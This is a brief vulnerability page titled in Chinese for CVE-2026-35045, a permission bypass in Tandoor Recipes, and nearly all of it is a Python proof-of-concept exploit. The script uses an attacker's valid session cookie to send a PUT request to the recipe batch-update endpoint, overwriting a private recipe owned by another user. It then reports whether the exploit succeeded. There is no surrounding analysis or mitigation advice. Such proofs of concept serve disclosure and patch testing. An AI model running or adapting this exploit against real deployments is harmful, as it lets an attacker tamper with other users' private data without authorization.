CVE-2026-35045 Tandoor Recipes权限绕过漏洞

import requests # Target URL for the vulnerable batch update endpoint target_url = "https://example.com/api/recipe/batch_update/" # Attacker's authentication cookies (must be a valid user in the Space) cookies = { "sessionid": "attacker_valid_session_cookie" } # Headers for the request headers = { "Content-Type": "application/json" } # Payload containing the ID of a private recipe owned by another user # Attempting to modify a recipe (ID: 999) that the attacker does not own payload = [ { "id": 999, "name": "Hacked Recipe - Unauthorized Access", "description": "This recipe was private and has been modified via the IDOR vulnerability." } ] # Sending the PUT request to exploit the vulnerability response = requests.put(target_url, json=payload, headers=headers, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! Private recipe has been modified.") print("[+] Response:", response.text) else: print("[-] Exploit failed or patched.") print("[-] Status Code:", response.status_code)